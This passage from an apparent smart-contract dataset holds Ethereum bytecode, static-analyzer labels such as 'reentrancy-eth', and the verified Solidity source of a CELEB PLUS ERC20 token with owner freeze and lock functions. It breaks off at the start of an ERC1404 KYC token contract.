146110415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b803561164981611a43565b919050565b60006020828403121561166057600080fd5b813561104181611a43565b60006020828403121561167d57600080fd5b815161104181611a43565b6000806040838503121561169b57600080fd5b82356116a681611a43565b915060208301356116b681611a43565b809150509250929050565b6000806000606084860312156116d657600080fd5b83356116e181611a43565b925060208401356116f181611a43565b929592945050506040919091013590565b6000806040838503121561171557600080fd5b823561172081611a43565b946020939093013593505050565b6000602080838503121561174157600080fd5b823567ffffffffffffffff8082111561175957600080fd5b818501915085601f83011261176d57600080fd5b81358181111561177f5761177f611a2d565b8060051b604051601f19603f830116810181811085821117156117a4576117a4611a2d565b604052828152858101935084860182860187018a10156117c357600080fd5b600095505b838610156117ed576117d98161163e565b8552600195909501949386019386016117c8565b5098975050505050505050565b60006020828403121561180c57600080fd5b813561104181611a58565b60006020828403121561182957600080fd5b815161104181611a58565b60006020828403121561184657600080fd5b5035919050565b60008060006060848603121561186257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a85785810183015185820160400152820161188c565b818111156118ba576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119555784516001600160a01b031683529383019391830191600101611930565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198957611989611a01565b500190565b6000826119ab57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119ca576119ca611a01565b500290565b6000828210156119e1576119e1611a01565b500390565b60006000198214156119fa576119fa611a01565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051557600080fd5b801515811461051557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c6336d765386bca5f5e3728a7ae194f15e0a692697ebf4ab3e1ac21d3b5604164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,963 |
0xb72c09cfbb598c34be5a474fca76311362db64c1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
pragma solidity >=0.5.2 <0.6.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor (address _myOwner) internal {
_owner = _myOwner;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable{
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Token{
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(address _mywallet, uint256 initialSupply,string memory tokenName,string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[_mywallet] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract CELEBToken is ERC20Token, Ownable,Pausable{
mapping (address => bool) public frozenAccount;
mapping(address => uint256) public lockedAccount;
event FreezeAccount(address account, bool frozen);
event LockAccount(address account,uint256 unlockTime);
address myWallet = address(0xfB4bDFF0dCfa9Ad2a9e9b6a9be8b0B4Da0899E5c);
constructor()Ownable(myWallet) ERC20Token(myWallet, 1000000000,"CELEB PLUS","CELEB") public {
}
/**
* Freeze Account
*/
function freezeAccount(address account) onlyOwner public {
frozenAccount[account] = true;
emit FreezeAccount(account, true);
}
/**
* unFreeze Account
*/
function unFreezeAccount(address account) onlyOwner public{
frozenAccount[account] = false;
emit FreezeAccount(account, false);
}
/**
* lock Account, if account is locked, fund can only transfer in but not transfer out.
* Can not unlockAccount, if need unlock account , pls call unlockAccount interface
*/
function lockAccount(address account, uint256 unlockTime) onlyOwner public{
require(unlockTime > now);
lockedAccount[account] = unlockTime;
emit LockAccount(account,unlockTime);
}
/**
* unlock Account
*/
function unlockAccount(address account) onlyOwner public{
lockedAccount[account] = 0;
emit LockAccount(account,0);
}
function changeName(string memory newName) public onlyOwner {
name = newName;
}
function changeSymbol(string memory newSymbol) public onlyOwner{
symbol = newSymbol;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal whenNotPaused {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
//if account is frozen, then fund can not be transfer in or out.
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
//if account is locked, then fund can only transfer in but can not transfer out.
require(!isAccountLocked(_from));
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function isAccountLocked(address account) public view returns (bool) {
return lockedAccount[account] > now;
}
function isAccountFrozen(address account) public view returns (bool){
return frozenAccount[account];
}
}
|
0x608060405234801561001057600080fd5b50600436106101ec576000357c01000000000000000000000000000000000000000000000000000000009004806379cc679011610121578063a9059cbb116100bf578063dd62ed3e1161008e578063dd62ed3e14610a94578063e816d97f14610b0c578063f26c159f14610b68578063f2fde38b14610bac576101ec565b8063a9059cbb14610887578063b414d4b6146108ed578063bf620a4514610949578063cae9ca5114610997576101ec565b80638f32d59b116100fb5780638f32d59b146106e3578063905295e31461070557806395d89b4114610749578063a3895fff146107cc576101ec565b806379cc6790146106295780638456cb591461068f5780638da5cb5b14610699576101ec565b80635353a2d81161018e57806370a082311161016857806370a0823114610513578063715018a61461056b578063718ccce91461057557806374eb9b68146105cd576101ec565b80635353a2d8146103f257806353cc2fae146104ad5780635c975abb146104f1576101ec565b806323b872dd116101ca57806323b872dd146102f8578063313ce5671461037e5780633f4ba83a146103a257806342966c68146103ac576101ec565b806306fdde03146101f1578063095ea7b31461027457806318160ddd146102da575b600080fd5b6101f9610bf0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561023957808201518184015260208101905061021e565b50505050905090810190601f1680156102665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102c06004803603604081101561028a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8e565b604051808215151515815260200191505060405180910390f35b6102e2610d80565b6040518082815260200191505060405180910390f35b6103646004803603606081101561030e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d86565b604051808215151515815260200191505060405180910390f35b610386610ead565b604051808260ff1660ff16815260200191505060405180910390f35b6103aa610ec0565b005b6103d8600480360360208110156103c257600080fd5b8101908080359060200190929190505050610f6e565b604051808215151515815260200191505060405180910390f35b6104ab6004803603602081101561040857600080fd5b810190808035906020019064010000000081111561042557600080fd5b82018360208201111561043757600080fd5b8035906020019184600183028401116401000000008311171561045957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611077565b005b6104ef600480360360208110156104c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110a4565b005b6104f9611182565b604051808215151515815260200191505060405180910390f35b6105556004803603602081101561052957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611199565b6040518082815260200191505060405180910390f35b6105736111b1565b005b6105b76004803603602081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611285565b6040518082815260200191505060405180910390f35b61060f600480360360208110156105e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129d565b604051808215151515815260200191505060405180910390f35b6106756004803603604081101561063f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112e8565b604051808215151515815260200191505060405180910390f35b610697611501565b005b6106a16115b0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106eb6115da565b604051808215151515815260200191505060405180910390f35b6107476004803603602081101561071b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611632565b005b6107516116f9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610791578082015181840152602081019050610776565b50505050905090810190601f1680156107be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610885600480360360208110156107e257600080fd5b81019080803590602001906401000000008111156107ff57600080fd5b82018360208201111561081157600080fd5b8035906020019184600183028401116401000000008311171561083357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611797565b005b6108d36004803603604081101561089d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117c4565b604051808215151515815260200191505060405180910390f35b61092f6004803603602081101561090357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117db565b604051808215151515815260200191505060405180910390f35b6109956004803603604081101561095f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117fb565b005b610a7a600480360360608110156109ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156109f457600080fd5b820183602082011115610a0657600080fd5b80359060200191846001830284011164010000000083111715610a2857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506118cf565b604051808215151515815260200191505060405180910390f35b610af660048036036040811015610aaa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a53565b6040518082815260200191505060405180910390f35b610b4e60048036036020811015610b2257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a78565b604051808215151515815260200191505060405180910390f35b610baa60048036036020811015610b7e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ace565b005b610bee60048036036020811015610bc257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bac565b005b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c865780601f10610c5b57610100808354040283529160200191610c86565b820191906000526020600020905b815481529060010190602001808311610c6957829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60035481565b6000610e1782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcb90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea2848484611bed565b600190509392505050565b600260009054906101000a900460ff1681565b610ec86115da565b1515610ed357600080fd5b600660149054906101000a900460ff161515610eee57600080fd5b6000600660146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000610fc282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcb90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101a82600354611bcb90919063ffffffff16565b6003819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b61107f6115da565b151561108a57600080fd5b80600090805190602001906110a0929190611fbd565b5050565b6110ac6115da565b15156110b757600080fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd16a7a4ba83c78a07676c543502e8155f633ecd3c35abb1da51bcbf129758b0f816000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a150565b6000600660149054906101000a900460ff16905090565b60046020528060005260406000206000915090505481565b6111b96115da565b15156111c457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60086020528060005260406000206000915090505481565b600042600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054119050919050565b600061133c82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061140e82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcb90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a382600354611bcb90919063ffffffff16565b6003819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6115096115da565b151561151457600080fd5b600660149054906101000a900460ff1615151561153057600080fd5b6001600660146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b61163a6115da565b151561164557600080fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fd54d19172fb86c7b0ec92bd53717c37c4e77dd87775bae11a52816120905a2fa816000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561178f5780601f106117645761010080835404028352916020019161178f565b820191906000526020600020905b81548152906001019060200180831161177257829003601f168201915b505050505081565b61179f6115da565b15156117aa57600080fd5b80600190805190602001906117c0929190611fbd565b5050565b60006117d1338484611bed565b6001905092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b6118036115da565b151561180e57600080fd5b428111151561181c57600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fd54d19172fb86c7b0ec92bd53717c37c4e77dd87775bae11a52816120905a2fa8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000808490506118df8585610c8e565b15611a4a578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156119d95780820151818401526020810190506119be565b50505050905090810190601f168015611a065780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611a2857600080fd5b505af1158015611a3c573d6000803e3d6000fd5b505050506001915050611a4c565b505b9392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611ad66115da565b1515611ae157600080fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd16a7a4ba83c78a07676c543502e8155f633ecd3c35abb1da51bcbf129758b0f816001604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a150565b611bb46115da565b1515611bbf57600080fd5b611bc881611ea0565b50565b6000828211151515611bdc57600080fd5b600082840390508091505092915050565b600660149054906101000a900460ff16151515611c0957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611c4557600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611c9e57600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611cf757600080fd5b611d008361129d565b151515611d0c57600080fd5b611d5e81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df381600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611edc57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110151515611fb357600080fd5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611ffe57805160ff191683800117855561202c565b8280016001018555821561202c579182015b8281111561202b578251825591602001919060010190612010565b5b509050612039919061203d565b5090565b61205f91905b8082111561205b576000816000905550600101612043565b5090565b9056fea165627a7a723058206a326921ebdd43ffc385bd563ee027b45ed431722f3e665e6361996efbb81bce0029
|
{"success": true, "error": null, "results": {}}
| 8,964 |
0xE5819056A0E674F955890005FFB8A350C3A4BbA5
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Token {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract IERC1404 {
/// @notice Detects if a transfer will be reverted and if so returns an appropriate reference code
/// @param from Sending address
/// @param to Receiving address
/// @param value Amount of tokens being transferred
/// @return Code by which to reference message for rejection reasoning
/// @dev Overwrite with your custom transfer restriction logic
function detectTransferRestriction (address from, address to, uint256 value) public virtual view returns (uint8);
/// @notice Returns a human-readable message for a given restriction code
/// @param restrictionCode Identifier for looking up a message
/// @return Text showing the restriction's reasoning
/// @dev Overwrite with your custom message and restrictionCode handling
function messageForTransferRestriction (uint8 restrictionCode) public virtual view returns (string memory);
}
contract ERC1404TokenMinKYC is IERC20Token, IERC1404 {
// Set buy and sell restrictions on investors.
// date is Linux Epoch datetime
// Both date must be less than current date time to allow the respective operation. Like to get tokens from others, receiver's buy restriction
// must be less than current date time.
// 0 means investor is not allowed to buy or sell his token. 0 indicates buyer or seller is not whitelisted.
// this condition is checked in detectTransferRestriction
mapping (address => uint256) private _buyRestriction;
mapping (address => uint256) private _sellRestriction;
mapping (address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address private _owner;
// These addresses can control addresses that can manage whitelisting of investor or in otherwords can call modifyKYCData
mapping (address => bool) private _whitelistControlAuthority;
//event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
//event Transfer(address indexed from, address indexed to, uint256 tokens);
// ERC20 related functions
uint256 public decimals = 18;
uint256 private _totalSupply;
string public name;
string public symbol;
// Custom functions
string public ShareCertificate;
string public CompanyHomepage;
string public CompanyLegalDocs;
// These variables control how many investors can have tokens
// if allowedInvestors = 0 then there is no limit of investors
uint256 public currentTotalInvestors = 0;
uint256 public allowedInvestors = 0;
// Transfer Allowed = true
